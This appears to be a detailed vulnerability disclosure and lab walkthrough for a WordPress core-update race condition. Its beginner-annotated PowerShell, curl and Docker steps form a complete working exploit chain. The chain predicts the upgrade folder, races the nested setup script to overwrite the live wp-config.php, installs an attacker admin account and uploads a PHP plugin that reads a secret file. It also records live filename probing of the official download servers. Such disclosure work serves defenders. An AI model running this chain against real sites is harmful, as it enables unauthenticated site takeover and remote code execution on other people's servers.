"Checksum" is a fingerprint of a file used to verify it was not corrupted or tampered with. The lab deliberately made the checksum step take 300 milliseconds (ms, thousandths of a second) to widen the race window. A "control" is a comparison run. With zero delay, the updater moved too fast and the attacker's file missed the snapshot by about 100 to 150 ms.

Official package-name and package-selection validation

Live official response headers

Live HEAD and ranged-GET requests on 2026-08-03 observed the following response from the official stable package:

HTTP
HTTP/1.1 206 Partial Content
Content-Type: application/zip
Content-Disposition: attachment; filename=wordpress-7.0.2.zip
Content-Range: bytes 0-0/31435175

A HEAD request asks for the headers only, without the file body. A ranged GET asks for only part of a file. 206 Partial Content means the server is sending part of the file, as requested. Content-Range: bytes 0-0/31435175 says "I am sending byte 0 of 31,435,175". This is a neat trick: you learn the file name without downloading 31 megabytes.

The automatic-update hostname, downloads.w.org, returned the same filename without a redirect. The official package variants returned:

HTTP
Content-Disposition: attachment; filename=wordpress-7.0.2.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-no-content.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-new-bundled.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-partial-1.zip

A "hostname" is the name of a machine on the internet, like downloads.w.org. A "redirect" is a server telling your browser to go somewhere else instead. Each line here is a different package variant, and each one tells you its exact file name.

The official target-beta package also returned on an actual ranged GET:

HTTP
Content-Disposition: attachment; filename=wordpress-7.1-beta4.zip

A "beta" is an early test version released before the final one.

The target code lowercases and sanitizes the supplied filename, renames the initially random download, and then removes .zip when constructing the upgrade directory. The resulting paths are therefore:

Text
/wp-content/upgrade/wordpress-7.0.2/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.0.2-no-content/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.0.2-new-bundled/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.1-beta4/wordpress/wp-admin/setup-config.php

"Sanitizes" means cleans up: removing characters that could be dangerous in a file name. "Lowercases" means turning capital letters into small ones. So the folder name is the package name without .zip, and the setup script sits inside it.

The exact name is based on the package being installed, not necessarily the site's currently installed version.

The behaviour can be verified without downloading the complete package:

PowerShell
curl.exe -sSI `
  'https://downloads.wordpress.org/release/wordpress-7.0.2-no-content.zip' |
  Select-String -Pattern 'Content-Disposition'

curl.exe -sSI `
  'https://wordpress.org/wordpress-7.1-beta4.zip' |
  Select-String -Pattern 'Content-Disposition'

Line by line: curl.exe is a command-line tool for making web requests, built into Windows. The backtick at the end of a line is PowerShell's way of saying "the command continues on the next line". The URL in quotes is the file being asked about. The pipe | passes the output to the next command. Select-String -Pattern 'Content-Disposition' filters the output to show only lines containing that word. The second block does the same for the beta package.

Public update metadata

The anonymous official core version-check API publishes the applicable package URLs. When queried as an installed 7.0.1 site, it returned package names for the 7.0.2 target including:

Text
full:        wordpress-7.0.2.zip
no_content:  wordpress-7.0.2-no-content.zip
new_bundled: wordpress-7.0.2-new-bundled.zip
partial:     wordpress-7.0.2-partial-1.zip

An "API" (application programming interface) is a way for one program to ask another program for information in a structured format. This particular API answers the question "I am running version 7.0.1, what update should I install?" and replies with a list of package options. "Anonymous" means no login is needed. "Metadata" is data about data: here, information about which packages exist rather than the packages themselves.

If the attacker does not know which variant is active, the candidate set is small enough to probe concurrently during the update window. No directory listing is needed for these official filenames.

"Probe concurrently" means try all the likely names at the same time rather than one after another. A "directory listing" is a web page that shows the contents of a folder, which would also reveal the name.

Localized packages are deterministic as well. For example, the German package response supplied:

HTTP
Content-Disposition: attachment; filename=wordpress-7.0.2-de_DE.zip

"Localized" means translated for a particular language and region. de_DE is the code for German as used in Germany.

Because download_url() lowercases the whole header before extracting the filename, the actual directory is:

Text
/wp-content/upgrade/wordpress-7.0.2-de_de/

download_url() is the WordPress function that fetches the package. Because it lowercases the whole header before extracting the filename, de_DE becomes de_de on disk, which the attacker must remember when building the URL.

Package selection and automatic complete-package cases

A normal English same-branch maintenance update usually selects a partial package when one is available. The inspected partial packages do not contain setup-config.php, so those updates do not expose the installer required by this chain.

"Same-branch" means staying on the same major version line, for example 7.0.x to 7.0.y. A "partial package" contains only the files that changed, which makes it small and fast. If the setup script is not in it, this attack has nothing to use.

However, partial packages are not universally selected. Some legitimate automatic-update offers contain no applicable partial package. In those cases, Core_Upgrader automatically falls through to new_bundled, no_content, or full, each of which can be sufficiently complete for this vulnerability. No attacker-controlled update server or authenticated reinstallation is required.

Core_Upgrader is the WordPress class (a bundle of related code) that performs the update. "Falls through" means it tries the next option when the first is unavailable. "Authenticated reinstallation" would mean logging in as an administrator and reinstalling, which the attacker does not need to do.

A live en_US API survey on 2026-08-03 found:

  • With major automatic updates enabled, every surveyed stable WordPress release from 3.7 through 6.9.5 selected the 7.0.2 autoupdate offer without a partial package. Versions below 6.7 selected new_bundled; versions 6.7 through 6.9.5 selected no_content.
  • Archived beta and release-candidate installations in branches 4.7 through 6.6 received same-branch new_bundled automatic-update offers without partial packages.
  • Archived prereleases in branches 6.7 through 7.0 received same-branch no_content offers without partial packages.
  • The target 7.1 development build receives a literal full nightly automatic-update offer without partial, no-content, or new-bundled alternatives.

en_US is the code for English as used in the United States. A "release candidate" is a version considered nearly ready for release. "Archived" means old versions kept for reference. The point of this survey is that some legitimate automatic-update offers contain no applicable partial package, so a complete package can be selected without anything unusual from the attacker.

Archive inspection produced an important distinction:

  • wordpress-7.0.2.zip contains wordpress/wp-admin/setup-config.php.
  • wordpress-7.0.2-no-content.zip contains wp-admin/setup-config.php, wp-config-sample.php, and wp-admin/includes/update-core.php.
  • New-bundled and localized full packages contain the required setup files.
  • The tested wordpress-7.0.2-partial-1.zip and rollback packages do not contain setup-config.php.
  • Other inspected partial packages similarly omitted setup-config.php.

A "rollback package" is used to undo an update and return to an earlier version. The takeaway: full, no-content, new-bundled and localized packages carry the setup script; partial and rollback packages do not.

Consequently, the official CDN filename removes the path-guessing blocker, but a clean minor update that selects a small partial archive does not expose the installer needed by this particular chain. The chain remains applicable when WordPress selects a full, no-content, new-bundled, localized full, beta, or another complete distribution. Checksum-precheck failure, reinstallation, absence of a matching partial package, and certain bundled-content transitions can cause such a complete package to be selected.

A "CDN" (content delivery network) is a network of servers that serves files quickly around the world. "Checksum-precheck failure" means the fingerprint check fails, which makes WordPress fall back to a full package. "Bundled-content transitions" are changes in which themes or plugins ship with WordPress by default.

If the qualifying header is genuinely absent

Without the header, the target creates:

Text
/wp-content/upgrade/<package-stem>-<six-random-alphanumeric-characters>/

"Alphanumeric" means letters and digits. "Package stem" is the package name without its extension, so wordpress-7.0.2.zip has the stem wordpress-7.0.2.

No default unauthenticated WordPress-core endpoint was found that discloses this random name. Public REST, AJAX, cron, maintenance-mode, Site Health, and updater status/error paths do not reveal it. Directory indexing, WebDAV, public debug logs, or verbose server errors could disclose it, but those are deployment-specific rather than WordPress-core defaults.

An "endpoint" is a specific URL that a program answers. "REST" and "AJAX" are styles of web request used by modern web pages. "Cron" is scheduled background work. "Maintenance mode" is the temporary "we are updating" state. "Site Health" is a built-in diagnostics page. "WebDAV" is a file-sharing protocol. "Verbose errors" are error messages that reveal too much detail. None of these reveal the random name by default.

3. Root-cause analysis

3.1 Package-controlled response filename becomes the work-directory basename

download_url() initially creates a random temporary filename:

  • main/src/wp-admin/includes/file.php:674-725
  • main/src/wp-admin/includes/file.php:1160-1173

These are file references: the path to a source file, followed by line numbers. file.php is a PHP source file inside WordPress, and lines 674 to 725 are the part that creates the random temporary name.

It then accepts a sanitised Content-Disposition filename and renames the temporary file to that exact name:

  • main/src/wp-admin/includes/file.php:1222-1241

WP_Upgrader::unpack_package() derives the extraction directory from the resulting package basename:

  • main/src/wp-admin/includes/class-wp-upgrader.php:358-401

WP_Upgrader::unpack_package() is a method (a function belonging to a class) that unpacks the downloaded archive. "Derives" means it works out the folder name from the file name.

For this response:

HTTP
Content-Disposition: attachment; filename=wordpress-simulated.zip

the web path becomes:

Text
/wp-content/upgrade/wordpress-simulated/wordpress/

So a server that says "this file is called wordpress-simulated.zip" causes WordPress to create a folder called wordpress-simulated and unpack into it. The attacker now knows exactly where to send requests.

3.2 The nested setup script is pre-authenticated

The extracted wp-admin/setup-config.php defines its own WP_INSTALLING, WP_SETUP_CONFIG, and nested ABSPATH:

  • main/src/wp-admin/setup-config.php:15-35

These are constants, named values that do not change while the program runs. WP_INSTALLING and WP_SETUP_CONFIG tell WordPress "we are in installation mode". ABSPATH is the base folder of this particular copy. Because the copy sets its own base folder, it thinks it is a separate site.

It checks only for configuration files in or immediately above the extracted tree:

  • main/src/wp-admin/setup-config.php:58-82

The live configuration is several directories above that tree and is therefore not detected. At step 2, the script accepts the database name, user, password, host, and prefix directly from POST:

  • main/src/wp-admin/setup-config.php:278-343

"POST" is the HTTP method used when a browser submits a form. The data travels in the request body rather than the URL. The setup script reads those five values straight from the submitted form.

It reconstructs the sample configuration and writes a nested wp-config.php:

  • main/src/wp-admin/setup-config.php:377-498
  • exact write path selection at main/src/wp-admin/setup-config.php:463-469

No WordPress login, capability, or nonce is required.

A "capability" is a permission, such as "can manage options". A "nonce" (number used once) is a short random value added to forms to prove the request came from the site itself and not from an attacker. Neither is checked here, which is why the request works without logging in.

3.3 Core update copies the unexpected config over the live site

The core updater excludes only:

PHP
$skip = array( 'wp-content', 'wp-includes/version.php' );

This is PHP code. $skip is a variable holding an array (a list) of two names: wp-content and wp-includes/version.php. Anything on this list is left alone during the copy. wp-config.php is not on the list.

See main/src/wp-admin/includes/update-core.php:1293.

Checksum processing iterates the known official checksum keys. It does not enumerate and reject unexpected distribution-root files:

  • main/src/wp-admin/includes/update-core.php:1296-1339

"Iterates" means loops over. "Keys" here are the names of files that have known checksums. The code checks the files it knows about but never asks "are there any extra files here that should not be?"

The updater later copies the distribution root into live ABSPATH:

  • main/src/wp-admin/includes/update-core.php:1370-1384

copy_dir() snapshots all non-skipped source entries and overwrites destination files:

  • main/src/wp-admin/includes/file.php:2025-2049

"Snapshots" means it takes a list of what exists at that moment. "Overwrites" means it replaces the destination file with the source file.

Because wp-config.php is not in the skip list, the attacker-created configuration is copied over the live file. The working tree is deleted only near the end:

  • main/src/wp-admin/includes/update-core.php:1645-1646

Deleting the working tree does not restore the overwritten live configuration.

This is the crucial point: cleaning up the temporary folder afterwards does not undo the damage, because the damage was done to the live file.

4. Reproduction environment

The following commands are for Windows PowerShell and the supplied workspace. They use only local files and the already-available Docker images. Run them only against a disposable lab: the PoC intentionally replaces the lab site's live configuration.

"PowerShell" is the command-line shell built into Windows. "Docker" is software that runs programs in isolated containers, which are like lightweight virtual machines. A "PoC" (proof of concept) is a demonstration that proves a vulnerability is real. "Disposable lab" means a throwaway test environment you do not mind breaking.

Open PowerShell in:

Text
C:\Users\simse\Desktop\wordpress

This is a folder path on a Windows machine. The commands use port 18085 and fresh resource names to avoid the earlier wp-bj2 lab. If any of the names already exist, use a different suffix instead of deleting an unidentified resource.

A "port" is a numbered channel on a computer; web servers usually listen on port 80, and this lab uses 18085 to avoid clashing with anything else.

5. Step-by-step local PoC

Step 1: define lab parameters

In Terminal 1:

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

$Network = 'wp-race-net'
$Database = 'wp-race-db'
$Web = 'wp-race-web'
$Api = 'wp-race-api'
$Volume = 'wp-race-src'
$Target = 'http://[redacted]:18085'

$SourceRoot = (Resolve-Path '.\main\src').Path
$ChecksumRouter = (Resolve-Path '.\audit-bj-checksum-router.php').Path

Line by line: Set-Location changes the current folder. Lines starting with $ create variables, which are named boxes holding values. $Network, $Database, $Web and $Api are names for the Docker network and containers. $Volume is the name of a storage area. $Target is the address of the lab website: [redacted] means "this computer", and :18085 is the port. Resolve-Path turns a relative path into a full path, and .Path takes the path string out of the result. $SourceRoot points at the WordPress source code, and $ChecksumRouter points at a helper script.

Step 2: create the isolated network and source volume

PowerShell
docker network create $Network
docker volume create $Volume

docker network create makes a private virtual network so the containers can talk to each other by name. docker volume create makes a storage area that survives even if a container is deleted. Think of the network as a private office corridor and the volume as a shared filing cabinet.

Populate the volume from the supplied target source and make it writable by the PHP worker:

PowerShell
docker run --rm --entrypoint sh `
  --mount "type=bind,source=$SourceRoot,target=/src,readonly" `
  --mount "type=volume,source=$Volume,target=/dest" `
  wordpress `
  -c 'cp -a /src/. /dest/ && chown -R www-data:www-data /dest'

docker run starts a container. --rm deletes it when it finishes. --entrypoint sh says to run a shell instead of the container's normal program. --mount attaches storage: the first mount makes the source folder available read-only at /src, the second attaches the volume at /dest. wordpress is the image (the template) being used. -c '...' passes a command to the shell. Inside the quotes, cp -a /src/. /dest/ copies everything from /src to /dest, and chown -R www-data:www-data /dest changes the owner of everything in /dest to the user www-data, which is the user the web server runs as. Without that ownership change, the web server could not write files.

Step 3: start MySQL and create victim/attacker databases

PowerShell
docker run -d `
  --name $Database `
  --network $Network `
  -e MYSQL_ROOT_PASSWORD=root-change-me `
  mysql:8.0

-d means run in the background. --name gives the container a name. --network puts it on the private network. -e sets an environment variable, here the database's root password. mysql:8.0 is the database software image. MySQL is the database WordPress uses.

Wait for MySQL:

PowerShell
do {
    Start-Sleep -Seconds 2
    docker exec $Database mysqladmin ping `
      -uroot -proot-change-me --silent *> $null
} until ($LASTEXITCODE -eq 0)

This is a loop. do { ... } until (...) repeats the block until the condition is true. Start-Sleep -Seconds 2 waits two seconds. docker exec runs a command inside a running container. mysqladmin ping asks the database "are you alive?". -uroot -proot-change-me supplies the root user and password. --silent reduces output. *> $null throws away all output. $LASTEXITCODE -eq 0 means the last command succeeded. So: keep checking every two seconds until the database answers.

Create separate databases and users:

PowerShell
docker exec $Database mysql -uroot -proot-change-me -e "
CREATE DATABASE wp_victim CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE DATABASE wp_audit CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'wp_victim'@'%' IDENTIFIED BY 'victim-pass';
CREATE USER 'wp_attacker'@'%' IDENTIFIED BY 'change-me';
GRANT ALL PRIVILEGES ON wp_victim.* TO 'wp_victim'@'%';
GRANT ALL PRIVILEGES ON wp_audit.* TO 'wp_attacker'@'%';
FLUSH PRIVILEGES;"

This is SQL, the language databases understand. CREATE DATABASE makes an empty database. CHARACTER SET utf8mb4 and COLLATE utf8mb4_unicode_ci set how text is stored and compared, so that emoji and non-English characters work. CREATE USER makes a login. 'wp_victim'@'%' means the user wp_victim may connect from any machine (% is a wildcard). IDENTIFIED BY sets the password. GRANT ALL PRIVILEGES ON wp_victim.* gives that user full rights over the wp_victim database only. FLUSH PRIVILEGES reloads the permission table so the changes take effect immediately. The result: the victim site has its own database and login, and the attacker has a separate empty database wp_audit with its own login wp_attacker.

Step 4: start the vulnerable target

PowerShell
docker run -d `
  --name $Web `
  --network $Network `
  -p [redacted]:18085:80 `
  --mount "type=volume,source=$Volume,target=/var/www/html" `
  wordpress

-p [redacted]:18085:80 connects port 18085 on your computer to port 80 inside the container, so you can reach the site at http://[redacted]:18085. The mount puts the prepared source volume at /var/www/html, which is the web server's document root.

The repository's main/src tree is a development source tree. It omits wp-config-sample.php, which is stored at main/wp-config-sample.php, and its index.php is a build reminder. Apply the two production-build equivalents needed by this PHP-only PoC:

PowerShell
docker cp `
  '.\main\wp-config-sample.php' `
  "${Web}:/var/www/html/wp-config-sample.php"

docker exec $Web sh -lc `
  'cp /var/www/html/_index.php /var/www/html/index.php && chown www-data:www-data /var/www/html/index.php /var/www/html/wp-config-sample.php'

docker cp copies a file from your computer into a container. The first command puts the sample configuration file where the setup script expects it. The second runs a shell inside the container: cp copies _index.php over index.php (the development index.php is just a reminder message, not a real page), and chown gives the web server user ownership of both files. sh -lc runs the given command string in a login shell.

Wait for the setup page:

PowerShell
do {
    Start-Sleep -Seconds 2
    $HttpCode = curl.exe -s -o NUL -w '%{http_code}' `
      "$Target/wp-admin/setup-config.php"
} until ($HttpCode -eq '200')

"Target ready: $Target"

This loop asks for the setup page every two seconds. -s silences progress, -o NUL discards the body, and -w '%{http_code}' prints only the HTTP status code. When the code is 200 (success), the loop stops and prints a ready message.

Step 5: install the original victim site

Create the original configuration:

PowerShell
$InitialConfig = curl.exe -sS -X POST `
  "$Target/wp-admin/setup-config.php?step=2&noapi=1" `
  --data-urlencode 'dbname=wp_victim' `
  --data-urlencode 'uname=wp_victim' `
  --data-urlencode 'pwd=victim-pass' `
  --data-urlencode "dbhost=$Database" `
  --data-urlencode 'prefix=wp_' `
  --data-urlencode 'language=en_US' `
  --data-urlencode 'noapi=1'

$InitialConfig | Select-String -SimpleMatch 'All right, sparky'

-X POST sends a POST request. The URL has ?step=2&noapi=1, which tells the setup script to go to step 2 and not to contact the WordPress API. Each --data-urlencode sends one form field, safely encoded. The fields are the database name, user, password, host, table prefix and language. The result is stored in $InitialConfig. The second command searches that result for the phrase All right, sparky, which is the setup script's success message.

Install the victim site:

PowerShell
$InitialInstall = curl.exe -sS -X POST `
  "$Target/wp-admin/install.php?step=2" `
  --data-urlencode 'weblog_title=Original Victim Site' `
  --data-urlencode 'user_name=victimadmin' `
  --data-urlencode 'admin_password=Victim-Admin-2026!x7Q' `
  --data-urlencode 'admin_password2=Victim-Admin-2026!x7Q' `
  --data-urlencode 'admin_email=[redacted]' `
  --data-urlencode 'blog_public=0' `
  --data-urlencode 'language=en_US'

$InitialInstall | Select-String -Pattern 'Success|WordPress has been installed'

This submits the normal WordPress installation form: site title, admin username, password (twice, to confirm), email, whether search engines may index the site (0 means no), and language. The search afterwards looks for either Success or WordPress has been installed.

Verify the original site:

PowerShell
curl.exe -sS -o NUL -w "HTTP %{http_code}`n" "$Target/"

This requests the home page and prints HTTP followed by the status code and a newline. Expected:

Text
HTTP 200

Install the disposable flag fixture:

PowerShell
docker cp '.\audit-bj-flag.txt' "${Web}:/flag"

This copies a text file into the container at the path /flag. It stands in for a secret file that an attacker would want to read. "Fixture" means a prepared test object.

Step 6: build the complete local core package

Copy the builder and run it as the same user that normally performs web updates:

PowerShell
docker cp `
  '.\audit-bj-build-package.php' `
  "${Web}:/tmp/audit-bj-build-package.php"

docker exec --user www-data $Web php `
  /tmp/audit-bj-build-package.php `
  /var/www/html `
  /tmp/audit-wordpress-known.zip

docker cp puts the builder script inside the container at /tmp. docker exec --user www-data runs a command as the web server user. php runs the PHP interpreter. The script receives two arguments: the folder to package (/var/www/html) and the output ZIP path (/tmp/audit-wordpress-known.zip). Running as www-data matters because the resulting files must be owned by the same user the updater runs as.

Expected output contains a file count and:

Text
zip=/tmp/audit-wordpress-known.zip

Copy the package responder and updater runner only after building the ZIP, so these lab helpers do not become members of the simulated distribution:

PowerShell
docker cp `
  '.\audit-bj-package-response.php' `
  "${Web}:/var/www/html/audit-bj-package.php"

docker cp `
  '.\audit-bj-run-core-update.php' `
  "${Web}:/var/www/html/audit-bj-run-core-update.php"

These two files are helpers that make the lab work: one serves the package with the right header, the other triggers the update. They are copied after the ZIP is built so they are not accidentally included inside it.

Step 7: start the delayed checksum simulator

PowerShell
docker run -d `
  --name $Api `
  --network $Network `
  --network-alias api.wordpress.org `
  --mount "type=bind,source=$ChecksumRouter,target=/router.php,readonly" `
  --entrypoint php `
  wordpress `
  -S [redacted]:80 /router.php

This starts a small fake server. --network-alias api.wordpress.org gives it the name api.wordpress.org on the private network, so when WordPress asks for the real checksum API, it reaches this fake instead. The mount makes the router script available read-only. --entrypoint php runs PHP. -S [redacted]:80 /router.php starts PHP's built-in web server on port 80, using /router.php to handle requests. The reproduced successful run used a 300 ms local checksum response, which widens the race window.

Verify the package response provides the deterministic filename:

PowerShell
curl.exe -sSI "$Target/audit-bj-package.php" |
  Select-String -Pattern 'HTTP/|Content-Disposition|Content-Length'

This asks for the headers of the package helper and filters for the status line, the disposition header and the length. Required output:

Text
Content-Disposition: attachment; filename=wordpress-simulated.zip

If that header is absent in another environment and there is no directory disclosure, stop the PoC rather than guessing the random suffix.

Step 8: start the unauthenticated race in Terminal 2

Open a second PowerShell terminal:

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

$Target = 'http://[redacted]:18085'
$Setup = "$Target/wp-content/upgrade/wordpress-simulated/wordpress/wp-admin/setup-config.php?step=2&noapi=1"

while ($true) {
    $Body = (& curl.exe -sS --max-time 3 -X POST $Setup `
        --data-urlencode 'dbname=wp_audit' `
        --data-urlencode 'uname=wp_attacker' `
        --data-urlencode 'pwd=change-me' `
        --data-urlencode 'dbhost=wp-race-db' `
        --data-urlencode 'prefix=bj_' `
        --data-urlencode 'language=en_US' `
        --data-urlencode 'noapi=1' 2>$null) -join "`n"

    if ($Body.Contains('All right, sparky')) {
        '[+] Nested attacker wp-config.php created'
        break
    }

    Start-Sleep -Milliseconds 20
}

Line by line: $Setup is the URL of the temporary setup script, built from the predictable folder name. while ($true) loops forever until told to stop. Inside, curl.exe sends a POST with the attacker's database details, --max-time 3 gives up after three seconds, and 2>$null hides errors. -join "n"joins the output lines into one string.if ($Body.Contains('All right, sparky'))checks whether the setup script reported success. If so, it prints a message andbreak` exits the loop. Otherwise it waits 20 ms and tries again.

Initial requests return 404 while the path does not exist. Leave this loop running and continue immediately in Terminal 3.

Step 9: trigger the full update in Terminal 3

The helper triggers the legitimate core-updater code path. In a real attack, the pre-authenticated attacker waits for an administrator-initiated or automatic update; the helper is operator-side test instrumentation, not attacker authority.

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

docker exec `
  --user www-data `
  -e AUDIT_BJ_PACKAGE=http://[redacted]/audit-bj-package.php `
  wp-race-web `
  php /var/www/html/audit-bj-run-core-update.php

This runs the update helper inside the web container as www-data. -e AUDIT_BJ_PACKAGE=... sets an environment variable telling the helper where to fetch the package. The helper then calls the real WordPress update code, which downloads, unpacks, checks and copies, exactly as a normal update would.

Running the helper as www-data matters. Running it as container root while the tree belongs to www-data makes WordPress select the FTP filesystem method.

"FTP" is an old file transfer protocol. WordPress falls back to asking for FTP credentials when it cannot write files directly, which would break the lab.

Inspect the timeline:

PowerShell
docker exec wp-race-web cat /tmp/audit-bj-update.log

cat prints a file. This shows the log the helper wrote. Expected phases:

Text
feedback Downloading update
feedback Unpacking the update
update_feedback Verifying the unpacked files
update_feedback Preparing to install the latest version
update_feedback Enabling Maintenance mode
update_feedback Copying the required files
update_feedback Disabling Maintenance mode
end result='7.1-beta4-62899-src'

Each line is a stage of the update, in order. "Maintenance mode" is the brief period when the site shows a "down for maintenance" message. The final line reports the result.

Terminal 2 must print:

Text
[+] Nested attacker wp-config.php created

That message means the race was won: the attacker's configuration file was written before the updater took its snapshot.

Step 10: verify persistent live configuration takeover

In Terminal 1 or 3:

PowerShell
docker exec wp-race-web grep `
  -e DB_NAME `
  -e DB_USER `
  -e DB_HOST `
  -e table_prefix `
  /var/www/html/wp-config.php

grep searches a file for lines matching a pattern. -e supplies one pattern; here there are four, so it prints every line containing any of them. This reads the live configuration file to see which database it now points at. Expected:

PHP
define( 'DB_NAME', 'wp_audit' );
define( 'DB_USER', 'wp_attacker' );
define( 'DB_HOST', 'wp-race-db' );
$table_prefix = 'bj_';

define is PHP's way of setting a constant. These four lines show the live site now uses the attacker's database name, user, host and table prefix.

The extracted working directory may already be deleted. The live configuration remains overwritten.

Step 11: retire the checksum simulator

The checksum helper returns only the checksum API schema. Leaving it registered as api.wordpress.org causes later plugin/theme update checks to receive malformed data. Block external HTTP in this local lab, then stop the simulator:

PowerShell
docker exec --user www-data wp-race-web sed -i `
  "/Add any custom values/a define( 'WP_HTTP_BLOCK_EXTERNAL', true );" `
  /var/www/html/wp-config.php

docker stop wp-race-api

sed -i edits a file in place. The expression finds the line containing Add any custom values and appends (a) a new line after it: define( 'WP_HTTP_BLOCK_EXTERNAL', true );. That constant tells WordPress not to make outbound HTTP requests, which is fine in a local lab. docker stop shuts down the fake API container.

Verify the local-only setting:

PowerShell
docker exec wp-race-web grep `
  -e WP_HTTP_BLOCK_EXTERNAL `
  /var/www/html/wp-config.php

This confirms the line was added.

Step 12: install the attacker-database site as administrator

The attacker begins this stage without any credentials. The empty bj_ database is now the live site's database, so the normal installer grants the attacker the first admin.

PowerShell
$Target = 'http://[redacted]:18085'

$AttackerInstall = curl.exe -sS -X POST `
  "$Target/wp-admin/install.php?step=2" `
  --data-urlencode 'weblog_title=BJ Race Site' `
  --data-urlencode 'user_name=bjadmin' `
  --data-urlencode 'admin_password=BJ-Race-2026!' `
  --data-urlencode 'admin_password2=BJ-Race-2026!' `
  --data-urlencode 'admin_email=[redacted]' `
  --data-urlencode 'blog_public=0' `
  --data-urlencode 'language=en_US'

$AttackerInstall |
  Select-String -Pattern 'Success|WordPress has been installed'

This is the same installation form as before, but now it creates the attacker's administrator account in the attacker's empty database. Because the database has no users, WordPress treats this as the first installation and grants the new account full administrator rights. Expected output contains:

Text
Success!
WordPress has been installed

Step 13: log in and preserve the cookie jar

Use a definite writable cookie-jar path in the repository:

PowerShell
$Cookies = Join-Path (Get-Location).Path 'race-poc-cookies.txt'
New-Item -ItemType File -Force -Path $Cookies | Out-Null

curl.exe -sS -D - `
  -c $Cookies `
  "$Target/wp-login.php" `
  -o NUL |
  Select-String -Pattern 'HTTP/|Set-Cookie'

A "cookie" is a small piece of data a website asks your browser to store and send back on later requests, so the site can remember who you are. A "cookie jar" is a file that stores cookies between requests. Join-Path builds a full path from the current folder and a file name. New-Item -ItemType File -Force creates an empty file, replacing any existing one. -D - prints the response headers. -c $Cookies writes cookies to the jar. -o NUL discards the body. The filter shows the status line and any Set-Cookie header, which is how a server hands a cookie to the client.

Confirm the test cookie was saved:

PowerShell
Get-Content $Cookies |
  Select-String -SimpleMatch 'wordpress_test_cookie'

Get-Content reads the file. wordpress_test_cookie is a cookie WordPress uses to check that your browser accepts cookies at all.

Log in:

PowerShell
$LoginHeaders = (& curl.exe -sS `
  -D - `
  -o NUL `
  -b $Cookies `
  -c $Cookies `
  -X POST "$Target/wp-login.php" `
  --data-urlencode 'log=bjadmin' `
  --data-urlencode 'pwd=BJ-Race-2026!' `
  --data-urlencode 'wp-submit=Log In' `
  --data-urlencode "redirect_to=$Target/wp-admin/" `
  --data-urlencode 'testcookie=1') -join "`n"

$LoginHeaders |
  Select-String -Pattern 'HTTP/|Location:|Set-Cookie:'

-b $Cookies sends the cookies from the jar, and -c $Cookies saves any new ones back. The POST sends the username (log), password (pwd), a submit marker, where to go afterwards (redirect_to), and testcookie=1 to confirm cookies work. The filter shows the status, the Location header (where the server redirects you) and any new cookies. Expected output includes an HTTP 302 and a wordpress_logged_in_... cookie. A 302 is a redirect, which is what a successful login usually returns. Confirm it:

PowerShell
Get-Content $Cookies |
  Select-String -SimpleMatch 'wordpress_logged_in'

This checks that the login cookie was saved. That cookie is the proof you are logged in.

Step 14: obtain the plugin-upload nonce

PowerShell
$UploadPage = (& curl.exe -sS `
  -b $Cookies `
  "$Target/wp-admin/plugin-install.php?tab=upload") -join "`n"

$Nonce = [regex]::Match(
    $UploadPage,
    'name="_wpnonce"[^>]*value="([^"]+)"'
).Groups[1].Value

if ([string]::IsNullOrWhiteSpace($Nonce)) {
    $UploadPage |
      Select-String -Pattern 'login_error|not allowed|wp-login|error'
    throw 'Plugin-upload nonce was not found'
}

"Nonce: $Nonce"

This fetches the plugin upload page while logged in. [regex]::Match searches the page for a pattern: name="_wpnonce" followed by anything up to value="...", and captures the value in the brackets. That value is the nonce, the one-time token the upload form requires. IsNullOrWhiteSpace checks whether the nonce is missing. If it is, the script prints any error lines and stops with a message. Otherwise it prints the nonce.

Step 15: upload the proof plugin

The repository contains a ZIP with one PHP file that returns file_get_contents('/flag') when bj_rce is present. Activation is unnecessary because an exact request to the PHP file is handled directly by Apache/PHP.

file_get_contents('/flag') is a PHP function that reads a file and returns its contents. "Activation" is the step where you switch a plugin on inside WordPress; here it is not needed because the server will run the PHP file directly when asked. Apache is a common web server.

PowerShell
$PluginZip = (Resolve-Path '.\audit-bj-plugin.zip').Path

$UploadResponse = (& curl.exe -sS `
  -b $Cookies `
  -F "_wpnonce=$Nonce" `
  -F '_wp_http_referer=/wp-admin/plugin-install.php?tab=upload' `
  -F "pluginzip=@$PluginZip;type=application/zip" `
  -F 'install-plugin-submit=Install Now' `
  "$Target/wp-admin/update.php?action=upload-plugin") -join "`n"

$UploadResponse |
  Select-String -Pattern 'Plugin installed successfully|Installation failed|Connection Information|error'

-F sends a form field, including file uploads. _wpnonce is the token from the previous step. _wp_http_referer tells WordPress which page the form came from. pluginzip=@$PluginZip;type=application/zip attaches the ZIP file. install-plugin-submit=Install Now is the button being pressed. The URL update.php?action=upload-plugin is the upload handler. The filter looks for success or failure messages. Expected:

Text
Plugin installed successfully

Step 16: read /flag

PowerShell
curl.exe -i `
  "$Target/wp-content/plugins/audit-bj-rce/audit-bj-rce.php?bj_rce=1"

-i includes the response headers in the output. The URL points directly at the uploaded PHP file, with ?bj_rce=1 telling it to run. Expected:

HTTP
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
Content-Length: 21

BJ_RACE_FLAG_READ_OK

This is the same response shown at the start: the server ran the attacker's PHP, which read /flag and returned its contents.

6. Successful race timing

The independently reproduced successful run recorded:

Text
1785773151.576526  package unpacking began
1785773152.642000  first successful setup request started
1785773152.733282  updater entered checksum/preparation phase
1785773152.818000  nested wp-config.php finished
1785773153.037744  updater entered root copy_dir()
1785773155.344153  updater completed successfully

Each line is a timestamp (seconds since a fixed starting point, with fractions of a second) followed by what happened. Reading the sequence: unpacking started, then about a second later the attacker's request started, the updater moved into its checksum phase, the attacker's configuration file finished writing, the updater began copying, and finally the update completed.

The malicious configuration existed approximately 219 ms before the vulnerable root directory snapshot.

That 219 ms is the margin by which the race was won. The attacker's file was in place before the updater took its list of files to copy.

7. Troubleshooting validated during reproduction

setup-config.php returns HTTP 500

